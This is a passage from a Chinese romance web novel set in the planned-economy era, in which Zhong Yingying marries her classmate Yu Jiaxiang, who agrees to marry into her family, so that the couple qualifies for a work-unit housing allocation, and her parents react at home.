她继续嘴硬道：“你爹娘的事我就不说了，反正你跟我闺女的事我不同意。” 钟莹莹终于找到机会，她凑近陈显英，在她耳边小声说了几句话。 这期间余嘉祥就这么站在陈显英面前，看上去可怜巴巴的。 时间一分一秒的过去，陈显英的神色也变得好看了许多。 她凝视着余嘉祥：“你要入赘？” 余嘉祥：“嗯。” 陈显英：“为什么？” 余嘉祥：“我喜欢莹莹，我们俩结婚，我入赘跟她嫁我是一样的，既然她能嫁我，那为什么不是我入赘呢？” “我是个男人，如果非要有一个人背井离乡，那这个人还是是我比较好。” “我娘以前活着的时候跟我说了，做男人，要好好的相妻教子，只有听媳妇话，对媳妇好的男人，才是真男人。” “陈婶子，你放心，我以后绝对会对莹莹好的！” 陈显英：“打住，先别想那么远，你俩的事我还没有同意呢！” “你先回去吧，这件事我需要再考虑考虑。” 如果有人愿意入赘，让她闺女结婚后也留在自己家，她是同意的，但前提是她得要确保那个人的人品没问题。 简而言之就是，余嘉祥这个人她还需要再考察考察。 余嘉祥心中忐忑，钟莹莹给他使了个眼色，让他走，他只能忐忑不安的离开了。 他走后，陈显英把矛头指向钟莹莹。 “你给娘老实说，你俩这事啥时候开始的？” 她了解自己的闺女，像搞对象这种事，她绝对不会一蹴而就，随随便便就找一个的。 能把人从市里带回县里，这绝对不是一朝一夕能办成的事。 “还有你，这事你知道吗？黄有德呢？他还没下班吗？”陈显英没忘记大闺女以及大女婿。 钟明芳心里苦啊：“娘，我冤枉啊，我是真不知道这件事，那小男生，我也是今天才见着的。” “你不知道，那黄有德呢？” 小闺女的工作大女婿有在里面出力，她不信，他能不知道这件事。 钟明芳：“他没给我说！莹莹都回来了，他才给我说，莹莹要来县里上班的。” 这该死的黄有德，他真的皮痒了，这么大的事，连通知她一声都没通知，害得她现在要挨她娘的骂。 “娘，我去喊他去，你放心，我今天绝对让他给你一个交代！” 钟明芳话音刚落，就要出去找人去。 钟莹莹拦住她：“姐，你别去，姐夫也不知道这件事。” 人家帮自己做事，自己不能出卖他，钟莹莹打算自己把这事给扛了。 她抬头看着她娘：“娘，我只给姐夫说了，我有个同学也想来我们县里工作，让他帮忙联系一下单位，没给他说我们的关系。” “姐夫也是好心帮忙。” “这事都怪我，我该早些跟你说的。” 陈显英不说话，沉默的看着钟莹莹。 钟莹莹只好硬着头皮继续往下说：“我跟余嘉祥高中的时候是同桌，在一块玩的比较好，后来又考上了同一所大学，同一个专业，总在一起。” “我之前就跟你说过，我不想嫁人，想找个倒插门的来咱家，他家里有后娘，有家不能回，愿意入赘，人也优秀，找他比在咱们县里随便找个人强。” 陈显英：“然后你就带他回来了？” 钟莹莹艰难的点点头：“嗯。” “县里那些愿意入赘的，您也知道，都是些歪瓜裂枣，长的就不说了，脾气还大，娘你难道愿意我跟这样的人在一块啊？” 钟明芳赞同的点点头：“娘，莹莹说的对，那小伙子条件确实要比咱们县的人都好，就那脸，都甩咱们村里的小伙子一条街。” 陈显英没好气用力戳了一下她脑门：“条件好了不起啊，条件好就能随便跟你妹妹处对象了吗？” “你这猪脑子，就知道看脸，也不好好想想，人家是市里户口，咱们是乡下人。” “万一咱家莹莹将来跟他成了，人家拍拍屁股回市里了，那入赘不就是句空话吗？” “他爹都能找小老婆，龙生龙，凤生凤，老鼠的儿子会打洞，莹莹，不是娘说话难听，娘这事为了你好，万一他将来跟他爹一样，莹莹你要怎么办？” 陈显英不像两个闺女一样，看事情只看表面，她活了大半辈子了，人啊事啊都见了很多，知道什么叫人心险恶。 大闺女当年遇人不淑，虽然及时斩断和对方的关系，但仍旧吃了不少苦头，她不希望小女儿也遇上这样的事。所以，小女儿的婚事，她要谨慎谨慎再谨慎，绝对不会像大闺女第一次结婚那样，对孩子听之任之。 她可怜余嘉祥年纪轻轻没了娘，不过可怜归可怜，这不是让她嫁女儿的理由。 “娘，你说的这些都是还没发生的事情，我不怕。” “我自己有工作，能养活自己，万一以后他变了，变得跟他爹一样，我也不怕。” “他的钱和票都在我手里攥着，翻不出什么花来。” “而且”钟莹莹继续语不惊人死不休：“他答应了，以后生了孩子随我姓，就算咱俩过不下去，离了，那我也能白得个孩子。” “男人没了，那孩子总是我自己的。” “我在自己家里，孩子也在这边，他想抢孩子我爹不一铁锹拍死他！” “如果找个本地的，人家想抢我孩子，上家里三天一小闹，五天一大闹大，娘您受得了吗？反正我是受不了。” “我迟早要结婚的，跟谁结不是结，那还不如找个知根知底的，娘，就余嘉祥这条件，要是放到外面去，那媒人不是得打破头的去抢？” “你闺女能找到这样的，算是运气好。” “我跟他在一块，我不吃亏！” 钟莹莹的一番发言，陈显英跟钟明芳都不吱声了。 良久，陈显英眼神复杂的看着钟莹莹：“所以，你找对象就是为了孩子？” 钟莹莹点点头：“不然呢？不生孩子那找对象干什么？” 陈显英闭上眼，不再说话。 她闺女这要是换个性别，就这思想…… 现在她有些担心刚才那个小伙子了。 想到他刚刚一派赤诚的在自己面前保证，将来一定要对自己闺女好。 而自己闺女呢，刚谈对象，连跟人离婚之后怎么抢孩子都想好了。 “你俩的事，我不管了，你自己心里有成算就成。” 算了，儿孙自有儿孙福，她老了，管不了这么多了。 “你爹来接我了，我回家去了，你身上弄这一身，洗洗去吧～”陈显英几乎是落荒而逃。 她怕自己走的不快，良心上会过意不去，万一再见到那小伙子，露出端倪拆散了她闺女的姻缘就不好了。 她这辈子也不知道造了什么孽，生了两个闺女，大闺女是个没脑子的死心眼，小闺女是心眼太多，俩闺女没一个正常的。 第162章 “你这死丫头，胆子咋就那么大呢？”钟明芳拿着毛巾一边给钟莹莹擦头发，一边忍不住感慨。 她像她妹妹这个年纪的时候，哪里有这个胆子啊。 和吴大勇相看时，反抗家里人，一门心思嫁给他已经是钟明芳这辈子做的最有种的一件事了。 “姐，我这不叫胆子大，我这叫明智。” “我长大了，总得要结婚的，那不如我提前找一个条件好，对我也好的。” 钟莹莹把头靠在她姐头上，身子舒服的躺在床上：“余嘉祥是我物色了五六年才物色出来的，如果他还能骗我，那我真的没招了。” “姐，我偷偷告诉你件事，你可别给别人说啊！” “我们主任说，我们单位可能要分房了，他让我跟余嘉祥先再等等，别搬到单位宿舍去住。” 钟明芳把头发给她擦的差不多之后，又用梳子慢慢给她梳头。 “这事你可别跟我说，你姐我又不懂这些弯弯绕绕。” “万一这里面有啥事是我弄不明白的，等出了事，娘又要来找我的麻烦。” “你要是不想住宿舍，你姐夫这边你随便住，我让他住他同事那去。” “他真是皮厚了，你找对象这么大事，他竟然敢帮你瞒着不给家里说。” 钟明芳可不觉得黄有德被她妹妹给蒙在鼓里，不知道她搞对象这件事。 他是公安，都干成小领导了，要是这点脑子都没有，那钟明芳认为他可以直接退休了。 “姐，姐夫真的不知道我的事。”钟莹莹还想再做最后的垂死挣扎。 钟明芳：“得了吧！我还不知道他？” 钟莹莹讪笑：“嘿嘿，你可别给娘说啊！说了之后她要生姐夫气的。” “我管你这么多呢，你们爱咋滴咋滴！你俩只要别让娘找麻烦找到我头上，想上天都成！” “行了，你这头发的结我都给你梳开了，那发油你多少也抹点，瞅你这头发干燥的，发尾都开叉了。”钟明芳就不明白，为啥她妹妹这么爱洗头，可偏偏就是不喜欢打发油。 那发油多好啊，香喷喷，油亮亮的。 抹了之后，整个人都能香好几天。 “下次再抹吧，我觉得今天的头发不是特别干。”钟莹莹打哈哈敷衍道。 大夏天的抹什么发油啊，本来一出汗头发就湿哒哒的，油的都能炒一盘菜了，再抹点发油，她觉得，她的头发都能滴油了。 “你想咋样就咋样吧，都是大姑娘了，你姐我也管不着你了。” 现在的小孩子，主意都太正了。 她闺女现在读初中，她说话她都不乐意听了。 她妹妹比她闺女年纪还大一些，又是高材生，钟明芳觉得她更管不了她了。 …… 晚上钟莹莹跟余嘉祥约在了国营饭店，一见面余嘉祥就开口问：“莹莹，怎么样？陈婶子同意咱俩的事了吗？” 钟莹莹见他心急，就想诈他一诈。 钟莹莹一脸严肃道：“没有。” 余嘉祥一听，立马卸了气：“那咋办啊？”他人都来这了，总不能给人当上门女婿还能让人给退货了吧？ 钟莹莹感觉他如果要是小狗的话，此刻都能看见他耳朵跟尾巴同时耷拉下来的样子。 她笑着说：“你先别急，我说我娘没同意，但也没说她不同意啊！” 小狗的耳朵动了动，随后尾巴也摇了起来，钟莹莹见他用亮晶晶的眼神望着自己。 “真的？” 钟莹莹点点头：“真的。” 余嘉祥的脸变得极快，他一扫之前的颓唐，兴致勃勃的给钟莹莹说：“婶她不反对就代表同意了，我知道，家长们都比较含蓄，他们不好意思。” “以后我多上你家拜访，她没准哪天就把我看顺眼了呢？” 钟莹莹憋笑：“嗯，你说的都对。” 她觉得自己找的这个对象，好像更倾向于玩伴性质，他还像个没长大的孩子。 自己也一样，即使已经活了两辈子，她也不觉得自己变成了大人。 俩小孩谈恋爱就跟过家家一样。 吃完饭，两人沿着城外的河道，吹着凉风，享受着难得的惬意。 钟莹莹突然开口道：“主任说的那个分房的事，你有头绪没？” “我也不清楚，但是这房子一般不都是分给结了婚的小夫妻吗？我俩好像并不符合要求。” “等我回去问问我姐夫吧，他应该知道。”钟莹莹其实心里已经有了一个大概的猜测，只是她还拿不定主意，需要再找人给她来一剂强心针。 至于这个人愿不愿意奉献自己给她坚定决心，她表示考虑不了那么多啦。 她姐夫娶了她姐，她姐有她这个妹妹，是他们的福气。 “你这几天做好准备，等周六放假的时候，我要带你回我家去见见我爹。” 她这个做女儿的好事将近，总不能让她爹连她对象都见不着吧。 一说要见家长，余嘉祥立马又紧张了。 “我要不要再买两件新衣裳，我觉着我行李箱里的那些都旧了，传上去不立挺了。” “还有我这个头发，莹莹你帮我看看，是不是也该剪了，我感觉前面这里有点遮眼睛了。” “还有……”余嘉祥还想继续往下说，钟莹莹就捂住了他的嘴：“打住！” “你身上这衣服挺好的，头发也不长，不用修，你想啊，就这几天的时间了，万一你找个不靠谱的剃头匠，他把你头发给剪坏了，那你还怎么去见我爹？” 余嘉祥若有所思：“莹莹，你说的也对。” “那这头发我不剪了，我就买身新衣裳就行。” “新衣裳也不用买，咱这县里的供销社没有成品衣裳，你想要新衣裳，只能扯了补找裁缝给你做，不一定做的有省城的时兴。” 余嘉祥愣住了：“这样啊～” “可我什么都不做，会不会显得有些不正式啊？”他还是有些焦虑不安。 “安啦～那是我爹，我比你了解他，等到那天，我给你说，你就这样做……” “听见了没有？” 余嘉祥有些难为情：“这样真的好吗？” 钟莹莹瞪他一眼：“你管他好不好的，你还想进我家门吗？” 余嘉祥：“想的。” 钟莹莹：“想你就找我说的做！我爹一定不会为难你的。” 余嘉祥乖乖点头：“好，莹莹，我都听你的。” 假期的时间总是流逝的特别快，钟莹莹还没堵到她姐夫，问他分房的事呢，她又要去单位上班了。 这次再去，她做的准备就比上次充足了许多。 大茶缸子拿了俩，报纸从她姐夫那桌上拿了两张旧的，毛线团子和钩毛衣用的针也准备了一对，最后这玩意是给余嘉祥准备的。 之前学校流行过一段时间打围巾，可钟莹莹一直没学会。 倒是余嘉祥，那钩针一拿上手，就如有神助一般，唰唰唰的没两天就能钩出一条围巾，还是带着图案的。 钟莹莹直接一个甘拜下风，把所有需要编织的活计都交给了她。 “莹莹，主任叫你！”张姐笑眯兮的敲了敲钟莹莹的桌子。 “好的，张姐，我这就过去。” 钟莹莹收起报纸，起身就去了主任办公室。 她一走，张姐又来到余嘉祥办公桌前。 “嘉祥啊，姐特别看好你和莹莹，你俩一来，咱们这办公室的空气都年轻了许多～” “今天这办公室里，就数你俩来的最早，其他几个懒蛋都日上三竿了，还没一个过来的。” 余嘉祥瞄她一眼，没有答话，只是一味的钩织他手里的那花样繁复的手套。 他得赶在周六之前，钩出来四副手套，时间不多了，他没功夫再应付张姐。 余嘉祥始终谨记钟莹莹的教导，他俩在这个办公室里又不求上进，没必要跟别人拉帮结派，要是有人找上他，他就装傻充愣就成。 张姐是办公室里的老人，她能随意打趣另外几个人，但是他这个新人不成。 遇事不决，装聋作哑。 “嘉祥？嘉祥？你有听见我说话吗？” 张姐见余嘉祥一直不答话，还以为自己声音小，对方没有听清。 “啊？张姐，你继续说，我听着呢～” 余嘉祥手上动作不停，随口应答了张姐一句。 张姐也终于明白他不是没听见，只是不想搭理自己而已。 她扯了扯嘴角：“没事，你继续钩吧！你这手还挺巧的，那么复杂的花型都能钩的这么漂亮！” 她夸自己，余嘉祥这回倒是答话了。 “张姐，谢谢你，莹莹也说我钩的好看呢！” 张姐：“……” 这到底是真听不懂还是假听不懂啊？她怀疑她面前可能是站了个傻子。 不管怎样，张姐最终还是放弃了跟余嘉祥套近乎。 办公室内，钟莹莹一脸乖巧的坐在徐主任对面。 徐主任缓缓喝了一口茶，然后盖上杯盖道：“莹莹，你知道我今天找你过来是干嘛吗？” 钟莹莹老实的摇摇头：“主任，我不知道。” “你姐夫就没给你说？” “我从昨天到现在一直都没见着我姐夫的面呢。” 徐主任：“行吧，那我就给你说说。” “昨天那个住宿的事，你也晓得了。” “咱们局里有一批老员工退休之后要被安置到康养院区，这家属院的房子势必会空出来一批。” “你可能不知道，咱们单位这分房子，有三个条件，只要满足其中之二，就能参与这次分房。” “而你跟嘉祥已经满足了其中的一个条件，还剩下另外一个，如果你们想，应该也没有问题。” 第163章 “主任，这具体什么条件能麻烦您详细展开说说吗？”钟莹莹害怕自己理解错误，错过这一波分房，再等下一次，那就不知道要等到什么时候了。 “这第一呢，就是参与分房的员工需要满足一定的工龄年限，想必你也清楚，你跟嘉祥你们这点是不符合的。” 钟莹莹点点头：“主任，我们知道的。” 徐主任接着往下说：“这第二点，也就是你们目前符合的一点。” “我们局里有规定，学历优秀的高级人才，是可以破格放宽工龄限制，参与分房的。” “但是，你跟嘉祥才刚进单位，工龄那是一点没有的，再怎么放宽你们都满足不了这个条件。” “这个时候我们就要看最后一个条件了。” 钟莹莹：“主任，您说。” “单位规定，凡夫妻两人均在本单位工作，且工龄足够或两人均为高级人才的，可提前参与分房。” “你们俩满足的就是这个条文，不知道你俩是怎么打算的。” 这个年代处对象不结婚就等于耍流氓，所以在徐主任心里，钟莹莹跟余嘉祥结婚只是或早或晚的事情。 现在有机会能够刚入职就拿到房子，那傻子也知道怎么选。 果不其然，钟莹莹听了他的话，立马笑意盈盈开口道：“主任，我跟嘉祥正商量领证的事呢，不出意外的话，本周我俩的证就能到手，到时候请主任您吃喜糖。” 徐主任摆摆手：“喜糖就不必了，既然你俩有结婚的打算，那我就把你俩的名字给报上去了，我们部门就你俩没房子，上头给了名额没人拿让别的部门抢去了也是浪费。” “结婚证的事，你俩尽快落实啊，别等到我批条都拿来了，你们证还没领到手呢！那其他部门盯着我们部门分房名额的人指定要举报我一个上报虚假信息的罪名。” 钟莹莹俏皮的敬了一个礼：“主任，您放心，我们保证及时完成任务。” “一会儿午休的时候我就跟嘉祥拿着户口本去领证去！” 徐主任说的口干舌燥的，一个茶水刚抿到嘴里，听到她说这话又喷了出来。 “咳咳～那也不必这么着急！你俩心里有数就成。” 他又不是什么神经病，刚通知下去的事，就要人家立马完成。 最起码给他俩一点和家里人商量的时间还是有的。 钟莹莹一本正经道：“急呀，主任您那么辛苦帮我吗谋划房子的事情，这么为我们这些刚工作的小职工考虑，我们也不能让您为难。” “我俩今儿个保证把结婚证给您领回来！” “民政局离咱们单位又不远，中午吃完饭出去消个食的功夫就把证给领回来了。” 迟则生变，早领证晚领证都得领，早领还有东西分，那不如早些把事情定下来比较好。 钟莹莹从徐主任办公室出去，余嘉祥的第一副手套已经钩好了大半。 正红色的毛线勾勒出了正双手套的基底，这是一双露指手套，手背处还钩了五颗黄色的星星。 钟莹莹一回来，他就献宝似的把半成品手套在钟莹莹眼前晃了晃。 “你看，我的技术没有退步吧？” 钟莹莹大略扫了一眼：“没退步，没退步。” 随后她看了眼自己手腕上的手表，指针刚好指在十一点半的刻度上，她就直接对余嘉祥说：“你把抽屉里的户口本拿上，先出去等着，我一会儿有事要跟你说。” 余嘉祥虽然不知道她要干嘛，但还是很听话的放下手里的钩针和手套，乖乖的从自己的抽屉里拿了户口本去办公室外面等着了。 他的钱和票什么的除了一些零用的在自己身上放着，其他都交到了钟莹莹那里。 招待所鱼龙混杂，证件一类的他都是随身携带的。 “张姐，我跟嘉祥中午有点事要出去一趟，一会儿就回来，能不能麻烦您帮我俩打一下饭，您放心，我俩很快回来！” 人事局的伙食非常好，钟莹莹出去领证再回来，那大部队指定都已经结束了上午的工作，直奔食堂。 她不想跟大家一块排队抢菜，就只能拜托办公室里的同事帮忙打一下饭。 王姐跟阿萍姐也不知道是不是请假了，一上午都没露面，带他们入职的那个小李不在，剩下的两个同事钟莹莹不熟，所以只能拜托王姐。 “嗐～我还以为啥事呢？不就打个饭吗有什么麻烦不麻烦的，你放心，这事包在姐身上了，姐保证给你办的妥妥的。” 王姐正愁没有机会跟钟莹莹拉近关系呢，这下子她自己就送上门来了。 跟钟莹莹打好关系，还怕没机会跟她那个一心扑在自己的编织大业上、跟听不懂人话似得对象不站在自己这边吗？ “嗯，谢谢王姐，怪不得我听主任说，咱们办公室就属王姐您最热心肠呢。” 王姐大喜：“主任当真这么说？” 钟莹莹点点头，徐主任当真说过这种话，她没撒谎。 “哎呀～这夸的我都不好意思了～”王姐脸微红，掩饰般的拍了拍自己的脸，想要快速的散去脸上的热意。 主任既然这么夸她，那是不是就代表着他有意于让自己接他的班？ 王姐越想越开心，她走出办公室时嘴里都在哼着轻快的小曲儿。 …… “莹莹，你要带我上哪去啊？”余嘉祥都被钟莹莹带出人事局了，还不知道钟莹莹要带他去干嘛呢。 钟莹莹：“带你去领结婚证，你先别问那么多，等晚上回去我再跟你说。” 分房的事情好多人现在都还不知情，人事局附近人多眼杂的，万一让别人偷听了去，那没准就会多冒出来几个人和他们竞争。 现在他们的名额还不是百分百能拿到手，钟莹莹不想拿这么重要的事情来赌。 “领、领证？”余嘉祥精神有些恍惚。 进度这么快的吗？ 昨天他还不被陈婶承认呢，今天就能领证，得到法律上的身份证明了吗？ 余嘉祥被钟莹莹拉着往前走，脚下有些飘飘然。 民政局内，工作人员都准备收工去吃饭了，钟莹莹带着余嘉祥就这么闯了进来。 钟莹莹将两本户口本拍在婚姻登记处的窗口：“您好，我们要领证！” 工作人员皱着眉头，刚想拒绝：“我们已经下……”钟莹莹直接从口袋里掏出一大把水果糖塞了过去：“同志，请您吃喜糖，沾沾喜气～” 那人眉头舒展开来，露出一个算你懂事的笑容。 手写的结婚证书，在盖上红色钢印的那一刻，钟莹莹心里的大石头算是彻底落了地。 得了好处的工作人员毫不吝啬的道了一声：“恭喜！” 钟莹莹笑着应承下来：“谢谢！” 其实她的年龄如果较真起来，是存在一些问题的。 她周岁不满十八，但是户口本上的年龄稍微登记大了几个月，要不然，今天这个证她是领不成的。 走出民政局后，余嘉祥拿着那两本鲜红的结婚证爱不释手的翻来覆去的看。 一边看一边还傻乐道：“莹莹，我们现在是合法夫妻了～” 钟莹莹都没眼看，好好一个帅小伙，脸上怎么能露出这般傻气的笑容。 她在腹诽余嘉祥的时候，没有注意到自己脸上也是露出了大大的笑容。 两辈子叠加在一起，第一次跟人结婚，还是怪稀奇的。 她凝视余嘉祥良久，看着那一米八的大高个，瘦削但不失力量的身材，还有清秀俊朗的年轻面容。 她暗道：不错，不错，她这算是掏着了。 这种条件的男生，吃进嘴里她不吃亏。 领了证之后，徐主任那边是满意了，周六要回家的时候，钟莹莹才开始紧张起来。 家里还有两尊大佛呢，她这般先斩后奏，让她爹娘知道了，余嘉祥这次见家长绝对讨不了好。 这人虽然暂时还没吃到嘴，但法律上已经是她的人了，她也不能眼睁睁看着他去自己家里挨打。 “你手套都准备好了吗？” 余嘉祥眼神清澈：“准备好了！” “我们拍的照片你也都揣兜里了吧？还有那个存折都拿好了吗？” 余嘉祥推着自行车，让钟莹莹坐到自行车的后座上。 “都拿好了，在我身上的这个挎包上好好的放着呢。” “等会你见了我爹娘知道怎么说吗？” “我知道，先把手套送给爹娘，说是我亲手做的，然后拿完鸡蛋糕和桃酥之后，再把存折掏出来，最后再说我们结婚的事。” 钟莹莹满意的点点头，接着嘱咐道：“这个顺序千万不能错啊，万一搞错顺序，没准咱俩都要挨打！” “嗯！莹莹你坐稳了啊，我要出发了。”余嘉祥长腿一迈，就由前及后的跨过了自行车的前杠，坐上前座，两脚一蹬，自行车的车轱辘就转了起来。 他上车的姿势略显怪异，但钟莹莹坐在车后座，他也没法子从后面跨上车，不然非得一脚踢到钟莹莹不可*。 这自行车是他为了来钟家拜访，特意从钟莹莹那里申请资金买的新自行车，希望他的岳父岳母能看在新自行车的份上，不要一说完结婚的事，就把他打出门来。 第164章 “哎呀，你能不能不要一直在我面前晃啊，晃的我眼都花了！”钟伟先从早上一起来就开始不住的站在院门口往村口望，生怕闺女回家了，他没看见。 一会儿屋里，一会儿屋外的，一刻都歇不下来。 陈显英都被他晃的不耐烦了。 “闺女说了今天回来，指定是今天回来，又不是原先搁外面上学，一年半载的才回来一趟，她上次回家里到现在，还没到一个星期呢，也不知道你着什么急？” “你有功夫在这晃，还不如上地里给那草锄锄呢，咱家那自留地，草长到快有人头高了吧？” 钟伟先指着自己的鼻子道：“咱闺女对象今天头一回上门，你喊我去地里锄地？” “老婆子，你发失心疯了哦～” 陈显英厉声道：“你说什么？” 钟伟先秒怂：“哈哈哈～我开玩笑的，我什么也没说，哟～我好像看见莹莹了，我出去迎一迎～” 他跑的飞快，没等陈显英的巴掌落下来，他就已经离开了自家院子。 钟绍华今天也跟村长请了假留在家里帮忙。 他跟钟明月两个人从吃完早饭就开始忙活，一直忙活到现在。 家里不下蛋的公鸡宰了一只，他还拿了肉票早早的上镇上排队割了两刀鲜肉。 不是大肥肉，是肥肉相见的五花肉。 钟明月要用这个和蒜苗一块炒了做回锅肉。 老楚干活干了一半回家喝水还不忘打趣陈显英：“英婶，你这新女婿得长啥样啊？下这么大血本～” “比不得你，之前你家秀秀带对象回家，家里下蛋的鸡你都杀了！”陈显英说的是楚秀秀后来相亲遇到的对象。 人优秀，家里条件也好，刚上老楚家拜访的时候，老楚那几天乐的都合不拢嘴。 虽然不是他想要的入赘，但秀秀给他找的这个女婿实在是让他无法置喙。 “嘿嘿～下次华宇来了，我请你家伟先吃酒～不说了，你等你女婿吧，我忙去了！” 老楚喝完水扛着锄头又下地去了。 “娘！”钟莹莹离老远就开始喊人了。 “哎～怎么这么晚才回来啊～我刚刚都给你爹说你再不回来要让他上城里接你去了。”陈显英看见闺女，立马就迎了上去，一把将钟莹莹手里的东西接了过来，然后揽着她就进了院子。 余嘉祥推着自行车跟钟伟先在后面慢慢走。 “爹～哦不，叔，我这车子放哪啊？就停院子外面可以吗？”余嘉祥差点露馅，张口就来了一句爹。 好在他改口改的快，钟伟先没发现有什么不对的地方。 “搬院子里去吧！村里有小孩调皮，爱搞破坏，别把你车胎扎了，搬院子里安全些！” “好的，爹～不对，好的，叔！”余嘉祥都想给自己的嘴巴一巴掌，怎么老说错话呢。 进到院里，他看见正在张罗着做午饭的钟绍华和钟明月，十分腼腆的喊了一句：“哥、嫂子～”这下倒是没再喊错称呼。 钟绍华擦擦手，从灶房前站起身，扬起笑容来到余嘉祥面前：“是嘉祥吧！快，上屋里坐，娘早上就念着你过来了。” 对于他小妹要多个丈夫的事，钟绍华不是很排斥。 而且听他娘那意思，他这个妹夫大概率是要入赘的。 他妹妹结婚之后，还生活在自己家，钟绍华就更不担心了。 “好的，哥。” 余嘉祥顺着钟绍华的指引进了钟家的堂屋里。 屋里没人，钟绍华口中一大早就等着余嘉祥的陈显英此刻正待在钟莹莹房间里，一字一句盘问她呢。 “莹莹，你确定他要入赘？你们都商量好了？不会反悔了吧？” “放心吧娘，我办事您还不放心吗？” “我们……我们早就商量好了。”差一点钟莹莹也把他们领证的事给秃噜出去了。 陈显英没注意到她闺女的卡顿，只是点点头道：“那就好，入赘的话，我就不怕了。” “走吧，也该出去见见咱家那个新女婿了。” 陈显英一进堂屋，余嘉祥就拘束的从板凳上站了起来，然后小声的喊了一声：“陈婶。” 他还记得，上次陈显英见他的时候表现出来的不喜，心中忐忑的他，手和脚都不知道该往哪放了。 陈显英略微颔首：“坐吧，别站着了。” 余嘉祥：“好。” “上次听你说，你母亲早逝，父亲再娶了？那你跟我家莹莹的事，也没个长辈帮着张罗吗？” “陈婶，我还有个舅舅，我舅舅知道我俩的事，他会帮忙操办我们的婚事的。” 其实谢军知道个鬼哦，余嘉祥在学校这几年很少回家，一到放假就在外面找兼职，帮人补课，还有修理机器。 谢军在钢铁厂工作，余嘉祥在那边摸爬滚打的多了，一些简单的机械他也能上手去修。 偶尔在学校闲着的时候，去蹭几堂别的专业的机修课，能学到的东西也不少。 谢军一找他，他就说自己在给自己攒家底呢。 小小年纪就惦记上找对象了，给谢军乐的，说什么也要塞几十块钱给他。 “婶子，这是我在供销社买的鸡蛋糕和桃酥，时间仓促，没有准备很好的礼物。” 陈显英假笑道：“哪里？这都挺好的了，莹莹她爹就爱吃桃酥。” 钟伟先：“啊对对对，我就好这一口！谢谢你了啊，嘉祥！” 见钟莹莹爹娘这次对自己的态度都很不错，余嘉祥也渐渐的放松了下来。 “婶子，叔，这还有一份礼物，是我亲手做的，您帮忙掌掌眼，看看我钩的还成不？” 余嘉祥从挎包里掏出来四副手套，明显是两双大人的，两双小孩的。 “我听莹莹说，她有一个侄子，一个侄女，早前我也见过他们。” “冬天写字手冷，这两副半截指套的就是做给他们的，红色的给丽丽，蓝色的这副给木木。” “这两副大一些的是给叔和婶你俩的，哥嫂还有大姐的时间不够，我就暂时没做，等过段时间有空了，我也给他们各钩一副拿到家里来。” 陈显英接过几副厚实的手套，声音中是掩盖不住的讶异：“这都是你亲手钩的？” 针脚密实，上面还带着图案，就是陈显英自己都编织不出这般好的手套出来。 她于裁剪做衣服一道，向来手笨，能把布料做成人能穿上身的样子已经很不错了，毛线钩织这种精巧货她实在是干不来。 余嘉祥：“嗯。” “单位工作比较清闲，正好我带的有毛线，就抽空把手套钩出来了，现在用不了，不过等冬天的时候戴刚刚好。” 钟伟先也拿了一副手套，啧啧称奇道：“嘉祥，你这手可真巧。” 余嘉祥害羞道：“哪里，熟能生巧罢了。” “你可别谦虚，就你这手艺，我觉着跟供销社卖的那成品手套都差不多了，不对，是比那个还要好，供销社卖的手套没有你这个好看，摸着也没这个软。” 钟莹莹适时插话：“爹，这个是纯羊绒做的毛线，贵着呢。” 钟伟先：“那怪不得拎起来轻飘飘的，摸到手里还暖烘烘的。” “我看院里那辆自行车也是新的，是嘉祥买的还是借同事的啊？” “叔，那车子是我刚买的。” “那得不少钱吧？”钟伟先感觉一定很贵，他家里最近几年攒了不少钱，也没舍得买一辆自行车，这小子才来他们这几天啊，自行车都买上了。 “也没多少钱，票是我从我家里拿的，钱是我之前做家教的时候攒的，还有，叔、婶，这是我的全部存款，还请您二老过目！这些钱，以后都是莹莹的。” 之前点心的顺序和手套的顺序搞错了，最后这上交存款的顺序可不能再错了。 陈显英接过存折本一打开，先是被上面的数字给吓了一大跳，三千二百整，这得普通人家攒多少年才能攒的出来啊。 她刚想把存折还给余嘉祥，表示她不是那么物质势利眼的人，就瞥见存折的存款人姓名那一栏赫然写着自己闺女的大名。 她把存折一合，也不还回去了，直接又把钟莹莹拉到自己的卧室里问她：“这存折里的钱，嘉祥过户给你了？你咋就这么大胆呢，还没结婚就敢拿人家男方那么多钱？” “娘，我给你说个事，你先别气啊～” “我们主任说我们单位近期要分房，我跟嘉祥都在备选名单里，但是我俩工龄不够，分房的名额多难得啊！” “要是能拿到房子，那我就可以把你和爹一块接到城里住了。” 陈显英：“你别岔开话题，我们现在说的事是存折的事。” 钟莹莹：“娘，存折的事我等下会给你解释。” “娘你知道我俩工龄不够，如果想分房要怎么样吗？” 陈显英：“怎么样？” 钟莹莹闭上眼睛，豁出去了凑到她娘耳边说：“主任说，只要领证，在单位安家，就能得到这次的分房名额，所以……” 陈显英心底有种很不好的预感：“所以什么所以？你到底还瞒我什么了？钟莹莹你最好给我想清楚了再开口！” 众所周知，爹娘们一般不被逼急了是不会喊孩子大名的。 “怎么了？怎么了？”钟伟先听见屋里的动静，还以为是她娘俩吵架了，忙不迭的就要推门进来。 第165章 “你自己问问你的好闺女都干了什么？”陈显英正处于暴怒之中，这会儿见了钟伟先也没啥好气。 钟伟先不敢反抗他媳妇，只能压低了声音问他闺女：“莹莹，你干什么了？你娘生这么大的气？” 钟莹莹怕她娘，但是不怕她爹，她努力扯出一抹笑：“爹，也没啥大事，就是我给我娘说了一下我们单位分房的条件。” 接着她又故作轻快道：“爹，告诉你个好消息，我跟嘉祥我们俩都在分房名单上，主任说了，这一批的分房名额，我们部门就定我们俩了。” 钟伟先不解：“这是好事啊，那你娘为啥生气？” “咱这分房还有个条件，那就是优先分给小夫妻，主任那边催的比较着急，我就跟嘉祥先去民政局领了证，把名字报了上去。” “晚了的话，那房子可能就轮不到我俩了。” “爹你放心，我没吃亏，嘉祥把身上所有的钱和票都上交给我了，那存折写的也是我的名字。” 陈显英气愤道：“你听听、你听听，她这说的叫什么话？” “有谁家闺女为了分套房子，不知会爹娘一声，不声不响的就跟人领证结婚了？这想一出是一出的，也不知道遗传了谁？” 钟伟先也很震惊，他转头对着钟莹莹就是：“莹莹，这么大的事你咋也不跟爹娘商量一下呢？你想分房子跟我们商量了我们又不是不同意？” 说完钟莹莹，他又坐到陈显英边上，拍着她的后背道：“孩她娘啊～别气了，气坏了身体就不值当了，这俩孩子也是年纪小不懂事。” “都怪我，是我没教好她，我该打。”钟伟先啪啪的就扇了自己两巴掌。 扇完之后，他给钟莹莹使了个眼色，让她先出去。 钟莹莹老实出了房间，留钟伟先一个人在房间里哄陈显英。 “莹莹，陈婶她还好吗？”没人喊余嘉祥进房间，他也不敢往里进。 